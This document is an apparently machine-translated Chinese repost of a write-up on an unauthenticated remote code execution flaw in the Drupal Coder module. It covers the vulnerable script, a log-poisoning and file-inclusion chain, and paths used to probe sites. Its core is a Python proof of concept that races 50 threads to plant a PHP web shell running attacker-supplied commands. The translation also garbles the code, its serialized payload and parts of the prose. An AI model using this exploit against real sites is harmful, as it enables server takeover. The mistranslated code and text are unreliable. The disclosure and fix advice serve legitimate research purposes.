Drupal 编码器模块存在未经身份验证的远程代码执

Drupal 编码器模块存在未经身份验证的远程代码执,第1张

Drupal编码器模块存在未经身份验证的远程代码执


在查看编码器模块安全代码时,我在Drupal安全咨询(SA-CONTRIB-2016-039)中发现了一个未经认证的远程代码执行漏洞。影响Drupal编码器模块的版本包括7.x-1.3和7.x-2.6以下的所有版本,没有必要启用Drupal编码器模块和模块来利用该漏洞。据报道,大约有4000个网站正在使用这个模块。

其实本质问题是这个模块中存在危险的PHP脚本,可以不经过任何认证直接允许访问。此脚本旨在修改PHP源代码,不应发布。但从安全角度来说,这个脚本也写得很差。开发人员(他还编写了一个“安全代码审查”模块)没有编写任何代码来保护或限制对脚本的访问。我报告这个问题的时候,开发者一直回避问题报告,坚持说脚本运行正常!

简单版本

这个易受攻击的脚本可以在这个路径(coder/coder_upgrade/scripts/coder_upgrade.run.PHP)中看到,可以直接访问,并且不受Drupal内置的任何安全控件(比如认证和授权)的限制。这个脚本也几乎没有输入验证,所以漏洞百出,主要包括:

PHP对象注入

PHP的危险变量,2009年6月被放弃,2012年3月从PHP中彻底删除。

目录遍历

本地文件的输入

日志文件感染

通常,本地文件和日志文件都可以被入侵,这意味着远程代码执行是可能的。然而,情况并非如此简单。在本地文件被触发之前,被感染的日志文件将被覆盖,以便可以执行日志文件中的代码。

幸运的是,被感染的日志文件的路径没有改变,请求也没有改变。多线程还意味着一个服务器线程的日志文件被感染后,其他线程的CPU还有时间暂停,然后为第二个服务器恢复线程并清除日志文件,但在本地文件仍然包含漏洞的情况下,仍然会导致远程代码执行。

RCE:转到代码执行

我在查看各种Drupal插件安全漏洞时发现了这个问题。Drupal插件的代码通常存储在扩展名为。模块或。这样做的好处是,如果有一个直接请求文件(例如,扩展名为。php),代码不会被执行,只有在Drupal明确包含相关文件的情况下才会被执行(所以代码会被Drupal内置的安全插件控制)。

很多模块都有。php文件,但是这些文件通常只包含函数和类定义,所以在直接请求时不会执行任何有意义的代码。在其他情况下,这些脚本可能会调用没有定义脚本是否可以直接访问的函数(如CMSApi),这将导致PHP出错和脚本终止。编码器包含184。php文件,所以我写了一个脚本标记PHP文件,找出直接请求/执行脚本时起作用的文件。当我在编码器模块中执行这个脚本时,我发现了coder/coder_upgrade/scripts/coder_upgrade.run.php。快速浏览这个文件会发现大量可能的代码,没有明显的错误,所以似乎需要更深入的代码审查。

下面是对save_memory_usage()的调用,定义一个常数,调用一些PHP设置配置,注册错误/异常处理程序。我们还不能控制剧本里的任何东西。

接下来,创建一个名为$path的变量,并用脚本中稍后定义的extract_arguments()函数返回的值初始化它。如果$path是空,脚本null返回一个消息并终止,因此我们需要将$path设置为一个非null值以便获得更多的代码。

该脚本使用file_get_contents()的给定路径读取文件,将内容传递给unserialize()函数,并将结果存储在名为$parameters的变量中。默认情况下,PHP允许文件处理函数打开url(参见'allow_url_fopen'),所以我们可以使用任何URL,并让这个脚本读取它,并将返回的数据传递给unserialize()。这是非常危险的,因为可能会带来PHP对象注入攻击,但在这种情况下,没有非标准的PHP类可供攻击者进行注入攻击。现在我们可以控制$parameters变量的内容。

需要指出的是,包括file_get_contents()在内的PHP文件系统函数支持各种协议封装。特别值得注意的是data://协议,它允许用base64编码数据并直接读取。这意味着服务器不需要出站HTTP(S)或FTP连接。

上面的for循环将$parameters变量视为一个数组。执行完这个循环后,我们可以通过改变$parameters变量的位置来控制脚本中的每个变量。

这个循环结合了一个常量字符串和一个变量来构造几个我们可以控制的路径,然后将每个路径传递给PHP代码指令来执行每个文件。因为我们控制了不需要验证的$_coder_upgrade_modules_base变量,所以我们可以控制有限本地文件包含(LFI)漏洞。不幸的是,为了通过这个LFI漏洞执行任意代码,我们需要以下 *** 作来控制本地文件路径的结尾:

/编码器/coder_upgrade/coder_upgrade.Inc

/coder/coder_upgrade/includes/main.Inc

/coder/coder_upgrade/includes/utility.Inc

在PHP版本5.3.4(2010年12月发布)中,您可以在PHP中使用文件路径截断来选择任何本地文件。所以执行任意代码理论上是可行的。

函数coder_upgrade_memory_print()将一些我们无法控制输出的数据写入memory.txt之后,我们控制这三个变量传递给coder_upgrade_start()定义的文件main.inc。

如果$usage变量是一个数组,那么它将通过embed()转换成一个字符串,这样数组的元素就可以

用新的行字符将它们连接起来。生成的字符串被传递给main.inc文件中定义的。

Coder_upgrade_path_print()函数,在本例中,它将给定的字符串有效地写入memory.txt。因为

因为我们可以控制变量$usage,所以我们现在可以在memory.txt中插入任何数据,包括PHP代码。我们没有

方法直接执行txt文件中的任何注入代码,但是我们可以使用包含漏洞的本地文件(包含memory.txt)。

执行代码。由于空字节文件的路径截断漏洞,早期的LFI可以在PHP5.3.4以后的版本中使用。

函数coder_upgrade_memory_print()写数据,这样我们就无法控制memory.txt文件了。以下三个变量由coder_upgrade_start()控制,它是main.inc定义文件。

传递给coder_upgrade_start()的三个参数必须是非空数组。然后在将$upgrades参数传递给coder_upgrade_load_code()之前清除几个日志文件。

检测网站是否容易受到攻击。

如果安装的编码器模块是7.x1.3或7.x2.6之前的版本,无论编码器模块是否启用,网站都容易受到未经身份验证的远程代码执行攻击。

您可以通过请求响应来确定它是否是易受攻击的网站。如果这个脚本返回的确切的字符串文件参数不是参数文件,那么这个网站就是危险的。该脚本的可能安装路径如下

[Drupal-root]/modules/coder/coder_upgrade/scripts/coder_upgrade.run.PHP

[Drupal-root]/sites/all/modules/coder/编码器_upgrade/scripts/编码器_upgrade.run.php

[Drupal-root]/sites/default/modules/coder/编码器_upgrade/scripts/编码器_upgrade.run.php

[Drupal-root]/sites/[站点名称]/modules/coder/coder_upgrade/scripts/coder_upgrade.run.PHP

[Drupal-root]是Drupal可以到达的URL,[站点名称]用于标识单个站点名称。

Nessus插件已经发布检测该漏洞,但目前似乎只能检查前两个默认安装路径。

剥削

这是我的概念证明。它生成多个线程,反复向脆弱的脚本发送有效载荷,直到触发器被启用,最小的PHP命令shell被写入服务器。

导入base64

导入urllib

导入线程

导入系统

#检查目标参数

iflen(sys.argv)!=2:

print"用法:Drupal-coder-shellupload.py<;drupal-root>

打印“例如Drupal-coder-shellupload.pyhttp://www.someDrupalsite.org”

sys.exit()

#TargetURL-必须指向Drupal安装的基础

target=sys.argv[1]

如果目标[-1]=="/":

target=target[:-1]#Strip尾部斜杠

#通过在PHP中构造我们的$parameters数组并将其序列化而生成的有效负载:

#a:7:{s:5:“路径”;a:3:{s:10:"files_base";生:28:"../../../../../默认/文件";s:14:"libraries_base";学生21:"../../../../libraries";s:12:"modules_base";学生8:"../../..";}s:9:“变量”;a:0:{}s:11:"theme_cache";s:0:“”;s:8:“升级”;答:1:{s:20:"race-execppoisonedlog";答:3:{s:6:“模块”;s:20:“race-execppoisonedlog”;s:4:《小路》;学生42:"../../../../../default/files/coder_upgrade";s:5:“文件”;答:1:{I:0;s:10:"memory.txt";}}}s:10:“扩展”;a:1:{s:11:“占位符”;s:0:“”;}s:5:“物品”;a:1:{s:11:“占位符”;s:0:“”;}s:5:“用法”;s:116:“<;?phpfile_put_contents('x.php','<?PHPprintnl2br(htmlentities(shell_exec($_GET[1]));?>');chmod('x.php',0755);?>";}

#我们可以使用data://协议,通过base64编码将它直接传递给易受攻击的脚本...

payload="data://text/plain;base64,"+base64.b64encode("a:7:{s:5:"paths";a:3:{s:10:"files_base";生:28:"../../../../../默认/文件";s:14:"libraries_base";学生21:"../../../../libraries";s:12:"modules_base";学生8:"../../..";}s:9:“变量”;a:0:{}s:11:"theme_cache";s:0:“”;s:8:“升级”;答:1:{s:20:"race-execppoisonedlog";答:3:{s:6:“模块”;s:20:“race-execppoisonedlog”;s:4:《小路》;学生42:"../../../../../default/files/coder_upgrade";s:5:“文件”;答:1:{I:0;s:10:"memory.txt";}}}s:10:“扩展”;a:1:{s:11:“占位符”;s:0:“”;}s:5:“物品”;a:1:{s:11:“占位符”;s:0:“”;}s:5:“用法”;s:116:“<;?phpfile_put_contents('x.php','<?PHPprintnl2br(htmlentities(shell_exec($_GET[1]));?>');chmod('x.php',0755);?>";}")

#检查漏洞利用是否成功(即是否存在丢弃的外壳)

defcheckSuccess():

结果=假

URLreader=urllib.urlopen(target+"/sites/all/modules/coder/coder_upgrade/scripts/x.PHP")

ifurlReader.getcode()==200:

结果=真

urlReader.close()

回送结果

#攻击线程

defattackThread():

#Poisonmemory.txt并触发LFI,直到竞争条件触发且外壳被丢弃

whilecheckSuccess()==0:

URLreader=urllib.urlopen(target+"/sites/all/modules/coder/coder_upgrade/scripts/coder_upgrade.run.PHP?"+urllib.urlencode({"file":payload}))

response=urlReader.read()

urlReader.close()

#产生一个线程负载,试图触发竞争条件,然后等待它们全部完成

attackThreads=[]

对于范围内的I(50):

attackThreads.append(线程。Thread(target=attackThread))

攻击线程[i]。开始()

对于范围内的I(50):

攻击线程[i]。加入()

#完成。

打印“利用成功!”

print"现在应该可以在"target+"/sites/all/modules/coder/coder_upgrade/scripts/x.PHP找到一个命令shell"

print"通过“1”GET参数传递要执行的命令,例如?1=ls"

安全咨询发布后,一位名叫MehmetInce(@mdisec)的研究人员进一步分析了该模块(文章发表在土耳其),通过使用shell_exec()的调用,找到了一条更好的通往RCE的路径。

修理

脆弱的PHP脚本本来就很危险,不应该发布到服务器上,所以理想情况下,编码器模块应该从所有生产服务器上删除;或者将模块更新到7.x版本-1.3或7.x2.6。

欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/zz/771730.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-05-02
下一篇 2022-05-02

发表评论

登录后才能评论

评论列表(0条)

保存